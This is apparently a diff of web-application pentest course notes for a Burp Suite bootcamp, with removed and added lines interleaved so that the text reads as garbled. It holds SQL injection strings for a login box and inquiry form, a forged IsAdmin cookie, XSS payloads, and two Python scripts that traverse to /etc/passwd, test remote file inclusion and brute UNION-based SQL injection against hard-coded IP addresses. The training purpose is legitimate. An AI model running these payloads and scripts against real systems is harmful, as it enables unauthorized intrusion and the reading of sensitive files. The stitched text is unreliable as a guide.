+- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
 - Run two (2) authenticated vulnerability scans against the target with admin privileges
-Try this on the inquiry form:
+
-	Joe McCray
+The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
-	1234567890
+
-	joe@strategicsec.com') waitfor delay '00:00:10'--
+A good web application vulnerability scanner comparison website is here:
 http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
 
-Login Box:
+
 Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
-	' or 1=1 or ''='
+
-	anything   			(click login instead of pressing enter)
+When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
 
 
 Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
-Tamper Data: (notice 2 session IDs)
+
 
-	AcmeTrading=a4b796687b846dd4a34931d708c62b49; 		SessionID is md5
+Also, be sure to save the scan results and logs. I usually provide this data to the customer.
-	IsAdmin=yes;
+
-	ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
+
 
 Step 1b: Directory Brute Forcer
 -------------------------------
-Profile - Detail	(tamper data)
+I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
-	Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
+
-	joe|set
+
 
 Step 2: Manual Testing
-	xss_upload.txt (Upload Bulk Order)
+
-	<script>alert(123);</script>
+Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
 
 Step 2a: Spider/Scan the entire site with Burp Suite
 Save the spider and scan results. I usually provide this data to the customer as well.
 
 
 Step 2b: Browse through the site using the 3 question method
 Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
-# More Course Materials #
+
 Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
 
-Slides:
+Here is what I mean:
-https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/WebAppSecIsNotEasyButCanBeSimple.pptx
+http://www.site.com/page.aspx?parametername=parametervalue
-https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/Burp+Suite.pptx
+
 When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
 
-Lab Manual:
+http://www.site.com/page.aspx?parametername=[ payload ]
-https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/BurpSuite-Bootcamp-v1.pdf
+
 You need to ensure that you send the payload this way, and like this below:
 
-Day 1 Video:
+http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
-https://s3.amazonaws.com/StrategicSec-Videos/2015/2015-12-06+09.10+Burp+Suite+Weekend+Bootcamp.mp4
+
 This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
 
-Day 1 Homework:
+
 
 
-Day 1 Challenge (Due 12 December):
+
-Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
+
-http://strategicsec.com
+
-http://54.213.252.28/
+###########################################
-http://54.172.112.249/
+# Question 2: How much fuzzing is enough? #
-http://54.200.178.220/
+###########################################
-http://54.213.131.105/
+
 
-Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Challenge.docx)
+
 
 
 Step 1: Ask yourself the 3 questions per page of the site.
-Day 2 Video:
+
-https://s3.amazonaws.com/StrategicSec-Videos/2015/2015-12-13+09.25+Burp+Suite+Weekend+Bootcamp.mp4
+
 
 Step 3: When you load your fuzz strings - use the following decision tree
-Day 2 Challenge (Due 19 December):
+
-----------------------------------
+
-Use the StrategicSec Ubuntu VM to demonstrate how to install, configure, and use at least five (5) of the following Burp Suite extensions from these websites and lists below:
+
-https://github.com/integrissecurity/carbonator
+
-https://github.com/allfro/BurpKit
+
-https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
+
-https://github.com/Quitten/Autorize
+
-https://github.com/codewatchorg/sqlipy
+
-https://github.com/augustd/burp-suite-token-fetcher
+
-https://github.com/augustd/burp-suite-gwt-scan
+
 		- Some example strings that I use are:
-https://webbreacher.wordpress.com/2015/07/25/my-favorite-burp-suite-extensions/
+
-http://bughunting.guide/the-top-5-burp-suite-extensions/
+
-https://www.codemagi.com/downloads/
+
 			(5-1)	 	<----- See if you can perform an arithmetic function
 
 
-You must use them against your choice of targets the following targets:
+
-http://strategicsec.com
+
-http://54.213.252.28/
+
-http://54.172.112.249/
+
-http://54.200.178.220/
+
-http://54.213.131.105/
+
 			<script>alert(xss);</script>
-Submit the results via email in an MS Word document with (naming convention example:
+
-YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day2-Challenge.docx)
+
 
 
-# Setting up Burp Suite #
+
 
-Download latest free version of Burp at http://www.portswigger.net/burp/download.html
+
-Make sure that  burpsuite_free_v1.6.31.jar is set as executable (chmod +x burpsuite_free_v1.6.31.jar) and then run:
+
 
-java -jar burpsuite_free_v1.6.31.jar
+-------------------------------------------------------------------------------------------
 
-    - Click the "Proxy" tab
+
-    - Click the "Options" sub tab
+
-    - Click “Edit” in the “Proxy Listeners” section
+# Web App Scripting Basics #
-    - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
+
-    - In the same pop up make sure that the bind port is 8080
+
-    - In the same pop up select the “Certificate” tab
+1. Simple LFI/RFI
-    - Ensure that burp is configured to "generate CA-signed per-host certificates"
+-----------------
 
-Open Firefox
+vi lfi-rfi.py
-    - Click "Edit"
+--------------------------------
-    - Click “Preferences"
+#!/usr/bin/env python
-    - Click the "Advanced" tab
+
-    - Click the "Network" sub tab
+print "\n### PHP LFI/RFI Detector ###"
-    - Click the connection "settings" button
+
-    - Click "manual proxy configuration"
+
-        set it to 127.0.0.1 port 8080
+# urllib2 is a Python module that can be used for fetching URLs. It defines functions and classes to help with URL actions (basic and digest authentication, redirections, cookies, etc) The magic starts with importing the urllib2 module.
-        check "Use this proxy server for all protocols"
+
-    - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
+# The module re provides full support for Perl-like regular expressions in Python
 
 # The module sys contains System-specific parameters and functions
-Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
+
 
-Visit any SSL-protected URL.
+import urllib2,re,sys
 
-On the “This Connection is Untrusted” screen, click on “Add Exception”
+TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
-Click "Get Certificate", then click "View".
+RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
 TravLimit = 12
-In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
+
 print "==> Testing for LFI vulns.."
-Click "Export" and save the certificate as "BurpCert" on the Desktop.
+TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
 for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
-Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
+    TARGET += "../"
-Go to Edit | Preferences
+    try:
-Click “Advanced” and go to “Certificates” tab
+        source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
-Click “View Certificates”
+    except urllib2.URLError, e:
         print "$$$ We had an Error:",e
-Click "Import" and select the certificate file that you previously saved.
+        sys.exit(0)
     if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
-On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
+        print "!! ==> LFI Found:",TARGET+"etc/passwd"
         break ## BREAK LOOP WHEN VULN FOUND
-Close all dialogs and restart Firefox
+
 print "\n==> Testing for RFI vulns.."
 TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
 try:
-# How much fuzzing is enough? #
+    source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
 except urllib2.URLError, e:
     print "$$$ We had an Error:",e
     sys.exit(0)
 if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
     print "!! => RFI Found:",TARGET
 
 print "\nScan Complete\n" ## DONE
 
 --------------------------------
 
 
 
 
 2. Simple SQL Injection
 -----------------------
 
 vi sqli.py
 --------------------------------
 #!/usr/bin/env python
 print "\n### PHP SQLi Detector ###"
 import urllib2,re,sys
 
 TARGET = "http://45.63.104.73/acre2.php?lap=acer"
 
 SQLi = "%27"
 SQLiError = "You have an error in your SQL"
 myNameInHex = "0x6a6f65"
 myName = 'joe'
 
 print "==> Testing for SQLi Error Vuln..."
 URL = TARGET+SQLi
 try:
 	source = urllib2.urlopen(URL).read() ## WEB REQUEST
 except urllib2.URLError, e:
 	print "$$$ We had an Error\n",e
 	sys.exit(0)
 if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE
 	print "!! ==> SQLi Found:",TARGET+SQLi
 	print "## ==> Bruting NULL column...",
-
+URL = TARGET+SQLi+"%20UNION%20SELECT%20"+myNameInHex ## BUILD OUR SQLi STATEMENT
 for x in xrange(1,10):
 	if x > 1:
 		URL = URL+","
 		URL = URL+myNameInHex
-# Trading Web App with WAF #
+		print x,
-# http://54.213.131.105    #
+		print URL
 		try:
 			source = urllib2.urlopen((URL+"--%20j")).read() ## WEB REQUEST
 		except urllib2.URLError, e:
-Try the following in the search box:
+			print "$$$ We had an Error\n",e
-	<script>alert(123);</script>
+			sys.exit(0)
-	<script>alert(123);</script
+		if re.search(myName, source): ## SEARCH FOR UNENCODED NULL WORD
-	<script>alert(123)
+			print "\n!! ==> Null Column Found:",URL+"--"
-	<script>alert
+			break
-	<script>
+else:
-	<script
+	print "** ==> No SQLi Found!"
-	<scrip
+print "\nScan Complete\n"
-	<scri
+--------------------------------